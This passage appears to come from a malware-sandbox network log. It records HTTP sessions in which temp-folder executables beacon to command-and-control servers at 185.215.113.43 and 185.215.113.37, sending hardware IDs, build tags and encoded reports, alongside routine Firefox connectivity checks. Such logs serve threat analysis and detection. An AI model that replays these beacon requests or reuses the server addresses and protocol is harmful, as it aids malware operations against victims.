name="build"doma------DAKEBAKFHCFHIEBFBAFB--
Oct 24, 2024 11:03:10.109966993 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:03:09 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49993	185.215.113.43	80	1056	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:03:10.236295938 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 31 36 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001161001&unit=246122658369
Oct 24, 2024 11:03:11.141771078 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 09:03:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	50010	185.215.113.43	80	1056	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:03:12.951231003 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 11:03:13.849457026 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 09:03:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	50013	34.107.221.82	80	6104	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:03:13.928873062 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 11:03:14.509810925 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 60655 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 11:03:16.539227009 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 11:03:16.664220095 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 60657 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	50021	185.215.113.43	80	1056	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:03:16.062525034 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 41 32 43 37 39 42 35 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBA2C79B55D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 24, 2024 11:03:16.973449945 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 09:03:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	50022	185.215.113.37	80	3748	C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:03:16.063369036 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 11:03:16.976748943 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:03:16 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 11:03:16.979974985 CEST	411	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHDHIDAEHCFHJJJJECAA Host: 185.215.113.37 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 32 31 31 34 31 36 41 44 38 33 44 39 38 31 35 37 39 33 38 31 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 2d 2d 0d 0a Data Ascii: ------EHDHIDAEHCFHJJJJECAAContent-Disposition: form-data; name="hwid"C211416AD83D981579381------EHDHIDAEHCFHJJJJECAAContent-Disposition: form-data; name="build"doma------EHDHIDAEHCFHJJJJECAA--
Oct 24, 2024 11:03:17.265794039 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:03:17 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	50025	34.107.221.82	80	6104	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:03:16.083683968 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 11:03:16.692413092 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 72571 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	50026	34.107.221.82	80	6104	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:03:17.134026051 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 11:03:17.729574919 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 72572 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	50028	34.107.221.82	80	6104	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:03:17.139908075 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 11:03:17.736757040 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 60658 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	50030	185.215.113.43	80	1056	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:03:18.742208958 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 11:03:19.576114893 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 09:03:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	50031	185.215.113.43	80	1056	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:03:21.091808081 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 41 32 43 37 39 42 35 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBA2C79B55D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 24, 2024 11:03:21.986854076 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 09:03:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	50032	185.215.113.43	80	1056	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:03:23.617342949 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 11:03:24.520855904 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 09:03:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	50033	185.215.113.43	80	1056	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:03:26.038894892 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 41 32 43 37 39 42 35 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBA2C79B55D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 24, 2024 11:03:26.947865009 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 09:03:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	50034	185.215.113.37	80	1920	C:\Users\user\AppData\Local\Temp\1001161001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:03:26.956537008 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 11:03:27.868237019 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:03:27 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 11:03:27.873191118 CEST	411	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGHCBKFCFBFHIDHDBFC Host: 185.215.113.37 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 32 31 31 34 31 36 41 44 38 33 44 39 38 31 35 37 39 33 38 31 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 2d 2d 0d 0a Data Ascii: ------GCGHCBKFCFBFHIDHDBFCContent-Disposition: form-data; name="hwid"C211416AD83D981579381------GCGHCBKFCFBFHIDHDBFCContent-Disposition: form-data; name="build"doma------GCGHCBKFCFBFHIDHDBFC--
Oct 24, 2024 11:03:28.163414955 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:03:28 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	50035	185.215.113.43	80	1056	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:03:28.643646955 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 11:03:30.161227942 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 09:03:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 24, 2024 11:03:30.161638021 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 09:03:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 24, 2024 11:03:30.161957026 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 09:03:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	50040	185.215.113.43	80	1056	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:03:31.708826065 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 41 32 43 37 39 42 35 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBA2C79B55D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 24, 2024 11:03:32.608103037 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 09:03:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	50041	185.215.113.43	80	1056	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:03:34.277137041 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 11:03:35.172832012 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 09:03:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	50046	34.107.221.82	80	7004	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:03:36.031352043 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 11:03:36.625425100 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 60677 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 11:03:38.134186029 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 11:03:38.260313988 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 60679 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 11:03:45.357594967 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 11:03:45.483748913 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 60686 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 11:03:47.014652014 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 11:03:47.139426947 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 60688 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 11:03:57.210737944 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	50047	185.215.113.43	80	1056	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
